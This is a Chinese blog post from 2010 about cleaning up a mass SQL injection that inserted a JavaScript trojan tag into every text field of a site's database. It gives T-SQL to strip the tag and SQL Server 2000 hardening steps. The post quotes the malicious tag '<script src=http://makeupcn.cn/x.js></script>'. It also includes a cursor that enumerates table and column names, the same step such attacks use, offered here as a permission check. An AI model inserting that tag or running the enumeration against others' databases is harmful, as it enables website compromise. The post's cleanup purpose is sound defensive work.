SQL数据库表防JS木马注入

今天早上,打开网站一看,发现在自己的网站里面的图片全部不显示了,取而代之的是一串木马网址,被黑!

经过一整天的处理现在算是正常运转了,先将些许代码整理如下:

首先打开数据库后,发现所有的数据字段中每个字段都被插入了木马网址,整个网站三十多张表,每张表N个字段,手工删除肯定是麻烦之极,经过整理写出来了一段替换字符

代码
----------------------替换数据表中每个字符段内中的特殊值------------------------
--鉴于获取数据表的列表数据时候经常需要获取字段名称。特整理了下如下代码。
--适用场合:设计或者更新SQL存储过程的Select语句或者Insert语句
--返回字符串格式类似于:"ID,BeginTime,EndTime,AddIP,UpdateUser,UpdateTime,UpdateIP"
--Select name from syscolumns Where ID=OBJECT_ID('数据表名称')
--定义数据表名称
Declare @TargetTableName nvarchar(
250)
Set @TargetTableName
='表名称'
--定义列总数
Declare @TotleColumns
int
select @TotleColumns
=Count(*) from syscolumns Where ID=OBJECT_ID(@TargetTableName)
--print @TotleColumns
--select * from syscolumns Where ID=OBJECT_ID(@TargetTableName)
--定义所有字段名称字符串
Declare @ColumnsString nvarchar(
4000)
Declare @TempName nvarchar(
4000)
set @ColumnsString=''
set @TempName=''
declare @i
int
set @i=2
while @i<=@TotleColumns
begin
select @TempName
=Name from syscolumns Where ID=OBJECT_ID(@TargetTableName) and colOrder=@i
exec(
'UPDATE '+@TargetTableName+' SET '+ @TempName+'= replace('+ @TempName+',''<script src=http://makeupcn.cn/x.js></script>'','''')'
)
-- Set @ColumnsString=@ColumnsString+','+@TempName
set @i=@i+1
end
-- 显示结果
exec(
'select * from '+ @TargetTableName
)

本来想使用游标实现整个数据库的遍历,由于时间紧凑,就手动的一张张表进行筛选。

对于数据库安全性的解决之道:

sql 2000的做法:

1、不要使用sa用户连接数据库

2、新建一个public权限数据库用户,并用这个访问数据库

3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
   DECLARE @T varchar(255),
   @C varchar(255)
   DECLARE Table_Cursor CURSOR FOR
   Select a.name,b.name from sysobjects a,syscolumns b
   where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
   OPEN Table_Cursor
   FETCH NEXT FROM Table_Cursor INTO @T,@C
   WHILE(@@FETCH_STATUS=0)
   BEGIN print @c
   FETCH NEXT FROM Table_Cursor INTO @T,@C
   END
   CLOSE Table_Cursor
   DEALLOCATE Table_Cursor
恩,就是这样了,但愿该木马不要再来兴风作浪

posted @ 2010-12-27 16:05  指尖流淌  阅读(1037)  评论(0编辑  收藏  举报